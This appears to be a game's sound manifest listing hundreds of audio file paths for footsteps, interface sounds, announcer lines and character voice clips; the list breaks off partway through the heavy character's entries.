+player/footsteps/dirt3.wav +player/footsteps/dirt4.wav +player/footsteps/duct1.wav +player/footsteps/duct2.wav +player/footsteps/duct3.wav +player/footsteps/duct4.wav +player/footsteps/grass1.wav +player/footsteps/grass2.wav +player/footsteps/grass3.wav +player/footsteps/grass4.wav +player/footsteps/gravel1.wav +player/footsteps/gravel2.wav +player/footsteps/gravel3.wav +player/footsteps/gravel4.wav +player/footsteps/ice1.wav +player/footsteps/ice2.wav +player/footsteps/ice3.wav +player/footsteps/ice4.wav +player/footsteps/ladder1.wav +player/footsteps/ladder2.wav +player/footsteps/ladder3.wav +player/footsteps/ladder4.wav +player/footsteps/metal1.wav +player/footsteps/metal2.wav +player/footsteps/metal3.wav +player/footsteps/metal4.wav +player/footsteps/metalgrate1.wav +player/footsteps/metalgrate2.wav +player/footsteps/metalgrate3.wav +player/footsteps/metalgrate4.wav +player/footsteps/mud1.wav +player/footsteps/mud2.wav +player/footsteps/mud3.wav +player/footsteps/mud4.wav +player/footsteps/sand1.wav +player/footsteps/sand2.wav +player/footsteps/sand3.wav +player/footsteps/sand4.wav +player/footsteps/slosh1.wav +player/footsteps/slosh2.wav +player/footsteps/slosh3.wav +player/footsteps/slosh4.wav +player/footsteps/snow1.wav +player/footsteps/snow2.wav +player/footsteps/snow3.wav +player/footsteps/snow4.wav +player/footsteps/tile1.wav +player/footsteps/tile2.wav +player/footsteps/tile3.wav +player/footsteps/tile4.wav +player/footsteps/wade1.wav +player/footsteps/wade2.wav +player/footsteps/wade3.wav +player/footsteps/wade4.wav +player/footsteps/wet1.wav +player/footsteps/wet2.wav +player/footsteps/wet3.wav +player/footsteps/wet4.wav +player/footsteps/wood1.wav +player/footsteps/wood2.wav +player/footsteps/wood3.wav +player/footsteps/wood4.wav +player/footsteps/woodpanel1.wav +player/footsteps/woodpanel2.wav +player/footsteps/woodpanel3.wav +player/footsteps/woodpanel4.wav +pl_hoodoo/alarm_clock_alarm_3.wav +pl_hoodoo/alarm_clock_ticking_3.wav +ui/buttonclick.wav +ui/buttonclickrelease.wav +ui/buttonrollover.wav +ui/ding_a_ling.wav +ui/gamestartup1.360.wav +ui/gamestartup1.mp3 +ui/gamestartup2.360.wav +ui/gamestartup2.mp3 +ui/gamestartup3.360.wav +ui/gamestartup3.mp3 +ui/gamestartup4.mp3 +ui/gamestartup5.mp3 +ui/gamestartup6.mp3 +ui/gamestartup7.mp3 +ui/gamestartup8.mp3 +ui/gamestartup9.mp3 +ui/hint.wav +ui/item_acquired.wav +ui/medic_alert.wav +ui/projector_movie.wav +ui/projector_screen_down.wav +ui/projector_screen_up.wav +ui/projector_screen_up_long.wav +ui/scored.wav +ui/tv_static.wav +ui/tv_tune.mp3 +ui/tv_tune.wav +ui/tv_tune2.mp3 +ui/tv_tune2.wav +ui/tv_tune3.mp3 +ui/tv_tune3.wav +vo/announcer_alert.wav +vo/announcer_alert_center_control_being_captured.wav +vo/announcer_alert_center_control_being_contested.wav +vo/announcer_am_capenabled01.wav +vo/announcer_am_capenabled02.wav +vo/announcer_am_capenabled03.wav +vo/announcer_am_capenabled04.wav +vo/announcer_am_capincite01.wav +vo/announcer_am_capincite02.wav +vo/announcer_am_capincite03.wav +vo/announcer_am_capincite04.wav +vo/announcer_am_capincite05.wav +vo/announcer_am_capincite06.wav +vo/announcer_am_firstblood01.wav +vo/announcer_am_firstblood02.wav +vo/announcer_am_firstblood03.wav +vo/announcer_am_firstblood04.wav +vo/announcer_am_firstblood05.wav +vo/announcer_am_firstblood06.wav +vo/announcer_am_flawlessdefeat01.wav +vo/announcer_am_flawlessdefeat02.wav +vo/announcer_am_flawlessdefeat03.wav +vo/announcer_am_flawlessdefeat04.wav +vo/announcer_am_flawlessvictory01.wav +vo/announcer_am_flawlessvictory02.wav +vo/announcer_am_flawlessvictory03.wav +vo/announcer_am_gamestarting01.wav +vo/announcer_am_gamestarting02.wav +vo/announcer_am_gamestarting03.wav +vo/announcer_am_gamestarting04.wav +vo/announcer_am_gamestarting05.wav +vo/announcer_am_killstreak01.wav +vo/announcer_am_killstreak02.wav +vo/announcer_am_killstreak03.wav +vo/announcer_am_killstreak04.wav +vo/announcer_am_killstreak05.wav +vo/announcer_am_killstreak06.wav +vo/announcer_am_killstreak07.wav +vo/announcer_am_killstreak08.wav +vo/announcer_am_killstreak09.wav +vo/announcer_am_killstreak10.wav +vo/announcer_am_killstreak11.wav +vo/announcer_am_lastmanalive01.wav +vo/announcer_am_lastmanalive02.wav +vo/announcer_am_lastmanalive03.wav +vo/announcer_am_lastmanalive04.wav +vo/announcer_am_lastmanforfeit01.wav +vo/announcer_am_lastmanforfeit02.wav +vo/announcer_am_lastmanforfeit03.wav +vo/announcer_am_lastmanforfeit04.wav +vo/announcer_am_roundstart01.wav +vo/announcer_am_roundstart02.wav +vo/announcer_am_roundstart03.wav +vo/announcer_am_roundstart04.wav +vo/announcer_am_teamscramble01.wav +vo/announcer_am_teamscramble02.wav +vo/announcer_am_teamscramble03.wav +vo/announcer_attack_controlpoints.wav +vo/announcer_attention.wav +vo/announcer_begins_10sec.wav +vo/announcer_begins_1sec.wav +vo/announcer_begins_20sec.wav +vo/announcer_begins_2sec.wav +vo/announcer_begins_30sec.wav +vo/announcer_begins_3sec.wav +vo/announcer_begins_4sec.wav +vo/announcer_begins_5sec.wav +vo/announcer_begins_60sec.wav +vo/announcer_capture_controlpoints.wav +vo/announcer_capture_intel.wav +vo/announcer_cart_attacker_finalwarning1.wav +vo/announcer_cart_attacker_finalwarning2.wav +vo/announcer_cart_attacker_finalwarning3.wav +vo/announcer_cart_attacker_finalwarning4.wav +vo/announcer_cart_attacker_finalwarning5.wav +vo/announcer_cart_attacker_warning1.wav +vo/announcer_cart_attacker_warning2.wav +vo/announcer_cart_attacker_warning3.wav +vo/announcer_cart_attacker_warning4.wav +vo/announcer_cart_defender_finalwarning1.wav +vo/announcer_cart_defender_finalwarning2.wav +vo/announcer_cart_defender_finalwarning3.wav +vo/announcer_cart_defender_finalwarning4.wav +vo/announcer_cart_defender_finalwarning5.wav +vo/announcer_cart_defender_warning1.wav +vo/announcer_cart_defender_warning2.wav +vo/announcer_cart_defender_warning3.wav +vo/announcer_cart_defender_warning4.wav +vo/announcer_cart_defender_warning5.wav +vo/announcer_cart_defender_warning6.wav +vo/announcer_control_point_warning.wav +vo/announcer_control_point_warning2.wav +vo/announcer_control_point_warning3.wav +vo/announcer_dec_failure01.wav +vo/announcer_dec_failure02.wav +vo/announcer_dec_kill01.wav +vo/announcer_dec_kill02.wav +vo/announcer_dec_kill03.wav +vo/announcer_dec_kill04.wav +vo/announcer_dec_kill05.wav +vo/announcer_dec_kill06.wav +vo/announcer_dec_kill07.wav +vo/announcer_dec_kill08.wav +vo/announcer_dec_kill09.wav +vo/announcer_dec_kill10.wav +vo/announcer_dec_kill11.wav +vo/announcer_dec_kill12.wav +vo/announcer_dec_kill13.wav +vo/announcer_dec_kill14.wav +vo/announcer_dec_kill15.wav +vo/announcer_dec_missionbegins10s01.wav +vo/announcer_dec_missionbegins30s01.wav +vo/announcer_dec_missionbegins30s02.wav +vo/announcer_dec_missionbegins30s03.wav +vo/announcer_dec_missionbegins30s04.wav +vo/announcer_dec_missionbegins30s05.wav +vo/announcer_dec_missionbegins30s06.wav +vo/announcer_dec_missionbegins60s01.wav +vo/announcer_dec_missionbegins60s02.wav +vo/announcer_dec_missionbegins60s03.wav +vo/announcer_dec_missionbegins60s04.wav +vo/announcer_dec_missionbegins60s05.wav +vo/announcer_dec_missionbegins60s06.wav +vo/announcer_dec_success01.wav +vo/announcer_dec_success02.wav +vo/announcer_defend_controlpoints.wav +vo/announcer_defend_intel.wav +vo/announcer_do_not_fail_again.wav +vo/announcer_do_not_fail_this_time.wav +vo/announcer_ends_10sec.wav +vo/announcer_ends_1sec.wav +vo/announcer_ends_20sec.wav +vo/announcer_ends_2min.wav +vo/announcer_ends_2sec.wav +vo/announcer_ends_30sec.wav +vo/announcer_ends_3sec.wav +vo/announcer_ends_4sec.wav +vo/announcer_ends_5min.wav +vo/announcer_ends_5sec.wav +vo/announcer_ends_60sec.wav +vo/announcer_ends_6sec.wav +vo/announcer_ends_7sec.wav +vo/announcer_ends_8sec.wav +vo/announcer_ends_9sec.wav +vo/announcer_failed_prepare_sudden_death.wav +vo/announcer_failed_stalemate.wav +vo/announcer_failure.wav +vo/announcer_last_flag.wav +vo/announcer_last_flag2.wav +vo/announcer_overtime.wav +vo/announcer_overtime2.wav +vo/announcer_overtime3.wav +vo/announcer_overtime4.wav +vo/announcer_secure.wav +vo/announcer_security_alert.wav +vo/announcer_security_warning.wav +vo/announcer_stalemate.wav +vo/announcer_stop_courier.wav +vo/announcer_success.wav +vo/announcer_success_captured_final_control.wav +vo/announcer_success_captured_last_control.wav +vo/announcer_success_secured_final_control.wav +vo/announcer_success_secured_last_control.wav +vo/announcer_time_added.wav +vo/announcer_time_added_enemy.wav +vo/announcer_time_awarded.wav +vo/announcer_time_awarded_congrats.wav +vo/announcer_time_awarded_success.wav +vo/announcer_tournament_started1.wav +vo/announcer_tournament_started2.wav +vo/announcer_tournament_started3.wav +vo/announcer_tournament_started4.wav +vo/announcer_victory.wav +vo/announcer_warning.wav +vo/announcer_we_captured_center_control.wav +vo/announcer_we_captured_control.wav +vo/announcer_we_lost_center_control.wav +vo/announcer_we_lost_control.wav +vo/announcer_we_secured_control.wav +vo/announcer_we_succeeded.wav +vo/announcer_you_failed.wav +vo/announcer_you_must_defend_intel.wav +vo/announcer_you_must_not_fail_again.wav +vo/announcer_you_must_not_fail_this_time.wav +vo/burp02.wav +vo/burp03.wav +vo/burp04.wav +vo/burp05.wav +vo/burp06.wav +vo/burp07.wav +vo/demoman_activatecharge01.wav +vo/demoman_activatecharge02.wav +vo/demoman_activatecharge03.wav +vo/demoman_autocappedcontrolpoint01.wav +vo/demoman_autocappedcontrolpoint02.wav +vo/demoman_autocappedcontrolpoint03.wav +vo/demoman_autocappedintelligence01.wav +vo/demoman_autocappedintelligence02.wav +vo/demoman_autocappedintelligence03.wav +vo/demoman_autodejectedtie01.wav +vo/demoman_autodejectedtie02.wav +vo/demoman_autodejectedtie03.wav +vo/demoman_autodejectedtie04.wav +vo/demoman_autoonfire01.wav +vo/demoman_autoonfire02.wav +vo/demoman_autoonfire03.wav +vo/demoman_battlecry01.wav +vo/demoman_battlecry02.wav +vo/demoman_battlecry03.wav +vo/demoman_battlecry04.wav +vo/demoman_battlecry05.wav +vo/demoman_battlecry06.wav +vo/demoman_battlecry07.wav +vo/demoman_cheers01.wav +vo/demoman_cheers02.wav +vo/demoman_cheers03.wav +vo/demoman_cheers04.wav +vo/demoman_cheers05.wav +vo/demoman_cheers06.wav +vo/demoman_cheers07.wav +vo/demoman_cheers08.wav +vo/demoman_cloakedspy01.wav +vo/demoman_cloakedspy02.wav +vo/demoman_cloakedspy03.wav +vo/demoman_cloakedspyidentify01.wav +vo/demoman_cloakedspyidentify02.wav +vo/demoman_cloakedspyidentify03.wav +vo/demoman_cloakedspyidentify04.wav +vo/demoman_cloakedspyidentify05.wav +vo/demoman_cloakedspyidentify06.wav +vo/demoman_cloakedspyidentify07.wav +vo/demoman_cloakedspyidentify08.wav +vo/demoman_cloakedspyidentify09.wav +vo/demoman_dominationdemoman01.wav +vo/demoman_dominationdemoman02.wav +vo/demoman_dominationdemoman03.wav +vo/demoman_dominationdemoman04.wav +vo/demoman_dominationengineer01.wav +vo/demoman_dominationengineer02.wav +vo/demoman_dominationengineer03.wav +vo/demoman_dominationengineer04.wav +vo/demoman_dominationengineer05.wav +vo/demoman_dominationengineer06.wav +vo/demoman_dominationheavy01.wav +vo/demoman_dominationheavy02.wav +vo/demoman_dominationheavy03.wav +vo/demoman_dominationheavy04.wav +vo/demoman_dominationheavy05.wav +vo/demoman_dominationmedic01.wav +vo/demoman_dominationmedic02.wav +vo/demoman_dominationmedic03.wav +vo/demoman_dominationmedic04.wav +vo/demoman_dominationpyro01.wav +vo/demoman_dominationpyro02.wav +vo/demoman_dominationpyro03.wav +vo/demoman_dominationpyro04.wav +vo/demoman_dominationscout01.wav +vo/demoman_dominationscout02.wav +vo/demoman_dominationscout03.wav +vo/demoman_dominationscout04.wav +vo/demoman_dominationscout05.wav +vo/demoman_dominationscout06.wav +vo/demoman_dominationscout07.wav +vo/demoman_dominationscout08.wav +vo/demoman_dominationsniper01.wav +vo/demoman_dominationsniper02.wav +vo/demoman_dominationsniper03.wav +vo/demoman_dominationsniper04.wav +vo/demoman_dominationsoldier01.wav +vo/demoman_dominationsoldier02.wav +vo/demoman_dominationsoldier03.wav +vo/demoman_dominationsoldier04.wav +vo/demoman_dominationsoldier05.wav +vo/demoman_dominationspy01.wav +vo/demoman_dominationspy02.wav +vo/demoman_dominationspy03.wav +vo/demoman_eyelandertaunt01.wav +vo/demoman_eyelandertaunt02.wav +vo/demoman_gibberish01.wav +vo/demoman_gibberish02.wav +vo/demoman_gibberish03.wav +vo/demoman_gibberish04.wav +vo/demoman_gibberish05.wav +vo/demoman_gibberish06.wav +vo/demoman_gibberish07.wav +vo/demoman_gibberish08.wav +vo/demoman_gibberish09.wav +vo/demoman_gibberish10.wav +vo/demoman_gibberish11.wav +vo/demoman_gibberish12.wav +vo/demoman_gibberish13.wav +vo/demoman_go01.wav +vo/demoman_go02.wav +vo/demoman_go03.wav +vo/demoman_goodjob01.wav +vo/demoman_goodjob02.wav +vo/demoman_headleft01.wav +vo/demoman_headleft02.wav +vo/demoman_headleft03.wav +vo/demoman_headright01.wav +vo/demoman_headright02.wav +vo/demoman_headright03.wav +vo/demoman_helpme01.wav +vo/demoman_helpme02.wav +vo/demoman_helpme03.wav +vo/demoman_helpmecapture01.wav +vo/demoman_helpmecapture02.wav +vo/demoman_helpmecapture03.wav +vo/demoman_helpmedefend01.wav +vo/demoman_helpmedefend02.wav +vo/demoman_helpmedefend03.wav +vo/demoman_incoming01.wav +vo/demoman_incoming02.wav +vo/demoman_incoming03.wav +vo/demoman_jeers01.wav +vo/demoman_jeers02.wav +vo/demoman_jeers03.wav +vo/demoman_jeers04.wav +vo/demoman_jeers05.wav +vo/demoman_jeers06.wav +vo/demoman_jeers07.wav +vo/demoman_jeers08.wav +vo/demoman_jeers09.wav +vo/demoman_jeers10.wav +vo/demoman_jeers11.wav +vo/demoman_laughevil01.wav +vo/demoman_laughevil02.wav +vo/demoman_laughevil03.wav +vo/demoman_laughevil04.wav +vo/demoman_laughevil05.wav +vo/demoman_laughhappy01.wav +vo/demoman_laughhappy02.wav +vo/demoman_laughlong01.wav +vo/demoman_laughlong02.wav +vo/demoman_laughshort01.wav +vo/demoman_laughshort02.wav +vo/demoman_laughshort03.wav +vo/demoman_laughshort04.wav +vo/demoman_laughshort05.wav +vo/demoman_laughshort06.wav +vo/demoman_medic01.wav +vo/demoman_medic02.wav +vo/demoman_medic03.wav +vo/demoman_moveup01.wav +vo/demoman_moveup02.wav +vo/demoman_moveup03.wav +vo/demoman_needdispenser01.wav +vo/demoman_needsentry01.wav +vo/demoman_needteleporter01.wav +vo/demoman_negativevocalization01.wav +vo/demoman_negativevocalization02.wav +vo/demoman_negativevocalization03.wav +vo/demoman_negativevocalization04.wav +vo/demoman_negativevocalization05.wav +vo/demoman_negativevocalization06.wav +vo/demoman_niceshot01.wav +vo/demoman_niceshot02.wav +vo/demoman_niceshot03.wav +vo/demoman_no01.wav +vo/demoman_no02.wav +vo/demoman_no03.wav +vo/demoman_paincrticialdeath01.wav +vo/demoman_paincrticialdeath02.wav +vo/demoman_paincrticialdeath03.wav +vo/demoman_paincrticialdeath04.wav +vo/demoman_paincrticialdeath05.wav +vo/demoman_painsevere01.wav +vo/demoman_painsevere02.wav +vo/demoman_painsevere03.wav +vo/demoman_painsevere04.wav +vo/demoman_painsharp01.wav +vo/demoman_painsharp02.wav +vo/demoman_painsharp03.wav +vo/demoman_painsharp04.wav +vo/demoman_painsharp05.wav +vo/demoman_painsharp06.wav +vo/demoman_painsharp07.wav +vo/demoman_positivevocalization01.wav +vo/demoman_positivevocalization02.wav +vo/demoman_positivevocalization03.wav +vo/demoman_positivevocalization04.wav +vo/demoman_positivevocalization05.wav +vo/demoman_sentryahead01.wav +vo/demoman_sentryahead02.wav +vo/demoman_sentryahead03.wav +vo/demoman_specialcompleted-assistedkill01.wav +vo/demoman_specialcompleted-assistedkill02.wav +vo/demoman_specialcompleted01.wav +vo/demoman_specialcompleted02.wav +vo/demoman_specialcompleted03.wav +vo/demoman_specialcompleted04.wav +vo/demoman_specialcompleted05.wav +vo/demoman_specialcompleted06.wav +vo/demoman_specialcompleted07.wav +vo/demoman_specialcompleted08.wav +vo/demoman_specialcompleted09.wav +vo/demoman_specialcompleted10.wav +vo/demoman_specialcompleted11.wav +vo/demoman_specialcompleted12.wav +vo/demoman_standonthepoint01.wav +vo/demoman_standonthepoint02.wav +vo/demoman_thanks01.wav +vo/demoman_thanks02.wav +vo/demoman_thanksfortheheal01.wav +vo/demoman_thanksfortheheal02.wav +vo/demoman_thanksfortheheal03.wav +vo/demoman_thanksfortheteleporter01.wav +vo/demoman_thanksfortheteleporter02.wav +vo/demoman_yes01.wav +vo/demoman_yes02.wav +vo/demoman_yes03.wav +vo/engineer_activatecharge01.wav +vo/engineer_activatecharge02.wav +vo/engineer_activatecharge03.wav +vo/engineer_autoattackedbyspy01.wav +vo/engineer_autoattackedbyspy02.wav +vo/engineer_autoattackedbyspy03.wav +vo/engineer_autobuildingdispenser01.wav +vo/engineer_autobuildingdispenser02.wav +vo/engineer_autobuildingsentry01.wav +vo/engineer_autobuildingsentry02.wav +vo/engineer_autobuildingteleporter01.wav +vo/engineer_autobuildingteleporter02.wav +vo/engineer_autocappedcontrolpoint01.wav +vo/engineer_autocappedcontrolpoint02.wav +vo/engineer_autocappedcontrolpoint03.wav +vo/engineer_autocappedintelligence01.wav +vo/engineer_autocappedintelligence02.wav +vo/engineer_autocappedintelligence03.wav +vo/engineer_autodejectedtie01.wav +vo/engineer_autodejectedtie02.wav +vo/engineer_autodejectedtie03.wav +vo/engineer_autodestroyeddispenser01.wav +vo/engineer_autodestroyedsentry01.wav +vo/engineer_autodestroyedteleporter01.wav +vo/engineer_autoonfire01.wav +vo/engineer_autoonfire02.wav +vo/engineer_autoonfire03.wav +vo/engineer_battlecry01.wav +vo/engineer_battlecry03.wav +vo/engineer_battlecry04.wav +vo/engineer_battlecry05.wav +vo/engineer_battlecry06.wav +vo/engineer_battlecry07.wav +vo/engineer_cheers01.wav +vo/engineer_cheers02.wav +vo/engineer_cheers03.wav +vo/engineer_cheers04.wav +vo/engineer_cheers05.wav +vo/engineer_cheers06.wav +vo/engineer_cheers07.wav +vo/engineer_cloakedspy01.wav +vo/engineer_cloakedspy02.wav +vo/engineer_cloakedspy03.wav +vo/engineer_cloakedspyidentify01.wav +vo/engineer_cloakedspyidentify02.wav +vo/engineer_cloakedspyidentify03.wav +vo/engineer_cloakedspyidentify04.wav +vo/engineer_cloakedspyidentify05.wav +vo/engineer_cloakedspyidentify06.wav +vo/engineer_cloakedspyidentify07.wav +vo/engineer_cloakedspyidentify08.wav +vo/engineer_cloakedspyidentify09.wav +vo/engineer_cloakedspyidentify10.wav +vo/engineer_go01.wav +vo/engineer_go02.wav +vo/engineer_go03.wav +vo/engineer_goodjob01.wav +vo/engineer_goodjob02.wav +vo/engineer_goodjob03.wav +vo/engineer_headleft01.wav +vo/engineer_headleft02.wav +vo/engineer_headright01.wav +vo/engineer_headright02.wav +vo/engineer_headright03.wav +vo/engineer_helpme01.wav +vo/engineer_helpme02.wav +vo/engineer_helpme03.wav +vo/engineer_helpmecapture01.wav +vo/engineer_helpmecapture02.wav +vo/engineer_helpmecapture03.wav +vo/engineer_helpmedefend01.wav +vo/engineer_helpmedefend02.wav +vo/engineer_helpmedefend03.wav +vo/engineer_incoming01.wav +vo/engineer_incoming02.wav +vo/engineer_incoming03.wav +vo/engineer_jeers01.wav +vo/engineer_jeers02.wav +vo/engineer_jeers03.wav +vo/engineer_jeers04.wav +vo/engineer_laughevil01.wav +vo/engineer_laughevil02.wav +vo/engineer_laughevil03.wav +vo/engineer_laughevil04.wav +vo/engineer_laughevil05.wav +vo/engineer_laughevil06.wav +vo/engineer_laughhappy01.wav +vo/engineer_laughhappy02.wav +vo/engineer_laughhappy03.wav +vo/engineer_laughlong01.wav +vo/engineer_laughshort01.wav +vo/engineer_laughshort02.wav +vo/engineer_laughshort03.wav +vo/engineer_laughshort04.wav +vo/engineer_medic01.wav +vo/engineer_medic02.wav +vo/engineer_medic03.wav +vo/engineer_moveup01.wav +vo/engineer_needdispenser01.wav +vo/engineer_needsentry01.wav +vo/engineer_needteleporter01.wav +vo/engineer_needteleporter02.wav +vo/engineer_negativevocalization01.wav +vo/engineer_negativevocalization02.wav +vo/engineer_negativevocalization03.wav +vo/engineer_negativevocalization04.wav +vo/engineer_negativevocalization05.wav +vo/engineer_negativevocalization06.wav +vo/engineer_negativevocalization07.wav +vo/engineer_negativevocalization08.wav +vo/engineer_negativevocalization09.wav +vo/engineer_negativevocalization10.wav +vo/engineer_negativevocalization11.wav +vo/engineer_negativevocalization12.wav +vo/engineer_niceshot01.wav +vo/engineer_niceshot02.wav +vo/engineer_niceshot03.wav +vo/engineer_no01.wav +vo/engineer_no02.wav +vo/engineer_no03.wav +vo/engineer_paincrticialdeath01.wav +vo/engineer_paincrticialdeath02.wav +vo/engineer_paincrticialdeath03.wav +vo/engineer_paincrticialdeath04.wav +vo/engineer_paincrticialdeath05.wav +vo/engineer_paincrticialdeath06.wav +vo/engineer_painsevere01.wav +vo/engineer_painsevere02.wav +vo/engineer_painsevere03.wav +vo/engineer_painsevere04.wav +vo/engineer_painsevere05.wav +vo/engineer_painsevere06.wav +vo/engineer_painsevere07.wav +vo/engineer_painsharp01.wav +vo/engineer_painsharp02.wav +vo/engineer_painsharp03.wav +vo/engineer_painsharp04.wav +vo/engineer_painsharp05.wav +vo/engineer_painsharp06.wav +vo/engineer_painsharp07.wav +vo/engineer_painsharp08.wav +vo/engineer_positivevocalization01.wav +vo/engineer_sentryahead01.wav +vo/engineer_sentryahead02.wav +vo/engineer_specialcompleted-assistedkill01.wav +vo/engineer_specialcompleted-assistedkill02.wav +vo/engineer_specialcompleted01.wav +vo/engineer_specialcompleted02.wav +vo/engineer_specialcompleted03.wav +vo/engineer_specialcompleted04.wav +vo/engineer_specialcompleted05.wav +vo/engineer_specialcompleted06.wav +vo/engineer_specialcompleted07.wav +vo/engineer_specialcompleted08.wav +vo/engineer_specialcompleted09.wav +vo/engineer_specialcompleted10.wav +vo/engineer_specialcompleted11.wav +vo/engineer_standonthepoint01.wav +vo/engineer_standonthepoint02.wav +vo/engineer_thanks01.wav +vo/engineer_thanksfortheheal01.wav +vo/engineer_thanksfortheheal02.wav +vo/engineer_thanksfortheteleporter01.wav +vo/engineer_thanksfortheteleporter02.wav +vo/engineer_yes01.wav +vo/engineer_yes02.wav +vo/engineer_yes03.wav +vo/halloween_boo1.wav +vo/halloween_boo2.wav +vo/halloween_boo3.wav +vo/halloween_boo4.wav +vo/halloween_boo5.wav +vo/halloween_boo6.wav +vo/halloween_boo7.wav +vo/halloween_haunted1.wav +vo/halloween_haunted2.wav +vo/halloween_haunted3.wav +vo/halloween_haunted4.wav +vo/halloween_haunted5.wav +vo/halloween_moan1.wav +vo/halloween_moan2.wav +vo/halloween_moan3.wav +vo/halloween_moan4.wav +vo/halloween_scream1.wav +vo/halloween_scream2.wav +vo/halloween_scream3.wav +vo/halloween_scream4.wav +vo/halloween_scream5.wav +vo/halloween_scream6.wav +vo/halloween_scream7.wav +vo/halloween_scream8.wav +vo/heavy_activatecharge01.wav +vo/heavy_activatecharge02.wav +vo/heavy_activatecharge03.wav +vo/heavy_activatecharge04.wav +vo/heavy_autocappedcontrolpoint01.wav +vo/heavy_autocappedcontrolpoint02.wav +vo/heavy_autocappedcontrolpoint03.wav +vo/heavy_autocappedintelligence01.wav +vo/heavy_autocappedintelligence02.wav +vo/heavy_autocappedintelligence03.wav +vo/heavy_autodejectedtie01.wav +vo/heavy_autodejectedtie02.wav +vo/heavy_autodejectedtie03.wav +vo/heavy_autoonfire01.wav +vo/heavy_autoonfire02.wav +vo/heavy_autoonfire03.wav +vo/heavy_autoonfire04.wav +vo/heavy_autoonfire05.wav +vo/heavy_award01.wav +vo/heavy_award02.wav +vo/heavy_award03.wav +vo/heavy_award04.wav +vo/heavy_award05.wav +vo/heavy_award06.wav +vo/heavy_award07.wav +vo/heavy_award08.wav +vo/heavy_award09.wav +vo/heavy_award10.wav +vo/heavy_award11.wav +vo/heavy_award12.wav +vo/heavy_award13.wav +vo/heavy_award14.wav +vo/heavy_award15.wav +vo/heavy_award16.wav +vo/heavy_battlecry01.wav +vo/heavy_battlecry02.wav +vo/heavy_battlecry03.wav +vo/heavy_battlecry04.wav +vo/heavy_battlecry05.wav +vo/heavy_battlecry06.wav +vo/heavy_cartgoingbackdefense01.wav +vo/heavy_cartgoingbackdefense02.wav +vo/heavy_cartgoingbackdefense03.wav +vo/heavy_cartgoingbackdefense04.wav +vo/heavy_cartgoingbackdefense05.wav +vo/heavy_cartgoingbackdefense06.wav +vo/heavy_cartgoingbackdefense07.wav +vo/heavy_cartgoingbackdefense08.wav +vo/heavy_cartgoingbackoffense01.wav +vo/heavy_cartgoingbackoffense02.wav +vo/heavy_cartgoingbackoffense03.wav +vo/heavy_cartgoingbackoffense04.wav +vo/heavy_cartgoingbackoffense05.wav +vo/heavy_cartgoingbackoffense06.wav +vo/heavy_cartgoingbackoffense07.wav +vo/heavy_cartmovingforwarddefense01.wav +vo/heavy_cartmovingforwarddefense02.wav +vo/heavy_cartmovingforwarddefense03.wav +vo/heavy_cartmovingforwarddefense04.wav +vo/heavy_cartmovingforwarddefense05.wav +vo/heavy_cartmovingforwarddefense06.wav +vo/heavy_cartmovingforwardoffense01.wav +vo/heavy_cartmovingforwardoffense02.wav +vo/heavy_cartmovingforwardoffense03.wav +vo/heavy_cartmovingforwardoffense04.wav +vo/heavy_cartmovingforwardoffense05.wav +vo/heavy_cartmovingforwardoffense06.wav +vo/heavy_cartmovingforwardoffense07.wav +vo/heavy_cartmovingforwardoffense08.wav +vo/heavy_cartmovingforwardoffense09.wav +vo/heavy_cartmovingforwardoffense10.wav +vo/heavy_cartmovingforwardoffense11.wav +vo/heavy_cartmovingforwardoffense12.wav +vo/heavy_cartmovingforwardoffense13.wav +vo/heavy_cartmovingforwardoffense14.wav +vo/heavy_cartmovingforwardoffense15.wav +vo/heavy_cartmovingforwardoffense16.wav +vo/heavy_cartmovingforwardoffense17.wav +vo/heavy_cartstaycloseoffense01.wav +vo/heavy_cartstaycloseoffense02.wav +vo/heavy_cartstaycloseoffense03.wav +vo/heavy_cartstaycloseoffense04.wav +vo/heavy_cartstaycloseoffense05.wav +vo/heavy_cartstaycloseoffense06.wav +vo/heavy_cartstopitdefense01.wav +vo/heavy_cartstopitdefense02.wav +vo/heavy_cartstopitdefense03.wav +vo/heavy_cartstopitdefense04.wav +vo/heavy_cartstoppedoffense01.wav +vo/heavy_cartstoppedoffense02.wav +vo/heavy_cartstoppedoffense03.wav +vo/heavy_cartstoppedoffense04.wav +vo/heavy_cheers01.wav +vo/heavy_cheers02.wav +vo/heavy_cheers03.wav +vo/heavy_cheers04.wav +vo/heavy_cheers05.wav +vo/heavy_cheers06.wav +vo/heavy_cheers07.wav +vo/heavy_cheers08.wav +vo/heavy_cloakedspy01.wav +vo/heavy_cloakedspy02.wav +vo/heavy_cloakedspy03.wav +vo/heavy_cloakedspy04.wav +vo/heavy_cloakedspyidentify01.wav +vo/heavy_cloakedspyidentify02.wav +vo/heavy_cloakedspyidentify03.wav +vo/heavy_cloakedspyidentify04.wav +vo/heavy_cloakedspyidentify05.wav +vo/heavy_cloakedspyidentify06.wav +vo/heavy_cloakedspyidentify07.wav +vo/heavy_cloakedspyidentify08.wav +vo/heavy_cloakedspyidentify09.wav +vo/heavy_domination01.wav +vo/heavy_domination02.wav +vo/heavy_domination03.wav +vo/heavy_domination04.wav +vo/heavy_domination05.wav +vo/heavy_domination06.wav +vo/heavy_domination07.wav +vo/heavy_domination08.wav +vo/heavy_domination09.wav +vo/heavy_domination10.wav +vo/heavy_domination11.wav +vo/heavy_domination12.wav +vo/heavy_domination13.wav +vo/heavy_domination14.wav +vo/heavy_domination15.wav +vo/heavy_domination16.wav +vo/heavy_domination17.wav +vo/heavy_domination18.wav +vo/heavy_fightoncap01.wav +vo/heavy_fightoncap02.wav +vo/heavy_fightoncap03.wav +vo/heavy_fightoncap04.wav +vo/heavy_generic01.wav +vo/heavy_go01.wav +vo/heavy_go02.wav +vo/heavy_go03.wav +vo/heavy_goodjob01.wav +vo/heavy_goodjob02.wav +vo/heavy_goodjob03.wav +vo/heavy_goodjob04.wav +vo/heavy_headleft01.wav +vo/heavy_headleft02.wav +vo/heavy_headleft03.wav +vo/heavy_headright01.wav +vo/heavy_headright02.wav +vo/heavy_headright03.wav +vo/heavy_helpme01.wav +vo/heavy_helpme02.wav +vo/heavy_helpme03.wav +vo/heavy_helpmecapture01.wav +vo/heavy_helpmecapture02.wav +vo/heavy_helpmecapture03.wav +vo/heavy_helpmedefend01.wav +vo/heavy_helpmedefend02.wav +vo/heavy_helpmedefend03.wav +vo/heavy_incoming01.wav +vo/heavy_incoming02.wav +vo/heavy_incoming03.wav +vo/heavy_jeers01.wav +vo/heavy_jeers02.wav +vo/heavy_jeers03.wav +vo/heavy_jeers04.wav +vo/heavy_jeers05.wav +vo/heavy_jeers06.wav +vo/heavy_jeers07.wav +vo/heavy_jeers08.wav +vo/heavy_jeers09.wav +vo/heavy_laughevil01.wav 